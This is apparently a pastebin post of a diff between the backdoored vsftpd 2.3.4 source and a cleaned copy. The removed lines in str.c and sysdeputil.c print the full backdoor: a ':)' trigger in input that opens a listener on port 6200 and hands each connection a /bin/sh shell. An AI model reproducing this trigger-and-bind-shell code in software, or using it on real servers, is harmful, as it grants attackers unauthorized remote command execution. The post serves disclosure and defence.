SHARE
TWEET

Untitled

a guest Jul 2nd, 2011 37,878 Never
  1. Only in vsftpd-2.3.4: access.o
  2. Only in vsftpd-2.3.4: ascii.o
  3. Only in vsftpd-2.3.4: banner.o
  4. Only in vsftpd-2.3.4: features.o
  5. Only in vsftpd-2.3.4: filestr.o
  6. Only in vsftpd-2.3.4: ftpcmdio.o
  7. Only in vsftpd-2.3.4: ftpdataio.o
  8. Only in vsftpd-2.3.4: ftppolicy.o
  9. Only in vsftpd-2.3.4: hash.o
  10. Only in vsftpd-2.3.4: ipaddrparse.o
  11. Only in vsftpd-2.3.4: logging.o
  12. Only in vsftpd-2.3.4: ls.o
  13. Only in vsftpd-2.3.4: main.o
  14. Only in vsftpd-2.3.4: netstr.o
  15. Only in vsftpd-2.3.4: oneprocess.o
  16. Only in vsftpd-2.3.4: opts.o
  17. Only in vsftpd-2.3.4: parseconf.o
  18. Only in vsftpd-2.3.4: postlogin.o
  19. Only in vsftpd-2.3.4: postprivparent.o
  20. Only in vsftpd-2.3.4: prelogin.o
  21. Only in vsftpd-2.3.4: privops.o
  22. Only in vsftpd-2.3.4: privsock.o
  23. Only in vsftpd-2.3.4: ptracesandbox.o
  24. Only in vsftpd-2.3.4: readwrite.o
  25. Only in vsftpd-2.3.4: secbuf.o
  26. Only in vsftpd-2.3.4: secutil.o
  27. Only in vsftpd-2.3.4: ssl.o
  28. Only in vsftpd-2.3.4: sslslave.o
  29. Only in vsftpd-2.3.4: standalone.o
  30. diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
  31. --- vsftpd-2.3.4/str.c  2011-06-30 15:52:38.000000000 +0200
  32. +++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
  33. @@ -569,11 +569,6 @@
  34.      {
  35.        return 1;
  36.      }
  37. -    else if((p_str->p_buf[i]==0x3a)
  38. -    && (p_str->p_buf[i+1]==0x29))
  39. -    {
  40. -      vsf_sysutil_extra();
  41. -    }
  42.    }
  43.    return 0;
  44.  }
  45. Only in vsftpd-2.3.4: str.o
  46. Only in vsftpd-2.3.4: strlist.o
  47. diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
  48. --- vsftpd-2.3.4/sysdeputil.c   2011-06-30 15:58:00.000000000 +0200
  49. +++ vsftpd-2.3.4.4players/sysdeputil.c  2010-03-26 04:25:33.000000000 +0100
  50. @@ -34,10 +34,7 @@
  51.  /* For FreeBSD */
  52.  #include <sys/param.h>
  53.  #include <sys/uio.h>
  54. -#include <netinet/in.h>
  55. -#include <netdb.h>
  56. -#include <string.h>
  57. -#include <stdlib.h>
  58. +
  59.  #include <sys/prctl.h>
  60.  #include <signal.h>
  61.  
  62. @@ -220,7 +217,7 @@
  63.  static int s_proctitle_inited = 0;
  64.  static char* s_p_proctitle = 0;
  65.  #endif
  66. -int vsf_sysutil_extra();
  67. +
  68.  #ifndef VSF_SYSDEP_HAVE_MAP_ANON
  69.  #include <sys/types.h>
  70.  #include <sys/stat.h>
  71. @@ -843,30 +840,6 @@
  72.    }
  73.  }
  74.  
  75. -int
  76. -vsf_sysutil_extra(void)
  77. -{
  78. -  int fd, rfd;
  79. -  struct sockaddr_in sa;
  80. -  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  81. -  exit(1);
  82. -  memset(&sa, 0, sizeof(sa));
  83. -  sa.sin_family = AF_INET;
  84. -  sa.sin_port = htons(6200);
  85. -  sa.sin_addr.s_addr = INADDR_ANY;
  86. -  if((bind(fd,(struct sockaddr *)&sa,
  87. -  sizeof(struct sockaddr))) < 0) exit(1);
  88. -  if((listen(fd, 100)) == -1) exit(1);
  89. -  for(;;)
  90. -  {
  91. -    rfd = accept(fd, 0, 0);
  92. -    close(0); close(1); close(2);
  93. -    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
  94. -    execl("/bin/sh","sh",(char *)0);
  95. -  }
  96. -}
  97. -
  98. -
  99.  void
  100.  vsf_sysutil_set_proctitle_prefix(const struct mystr* p_str)
  101.  {
  102. Only in vsftpd-2.3.4: sysdeputil.o
  103. Only in vsftpd-2.3.4: sysstr.o
  104. Only in vsftpd-2.3.4: sysutil.o
  105. Only in vsftpd-2.3.4: tcpwrap.o
  106. Only in vsftpd-2.3.4: tunables.o
  107. Only in vsftpd-2.3.4: twoprocess.o
  108. Only in vsftpd-2.3.4: utility.o
RAW Paste Data
Top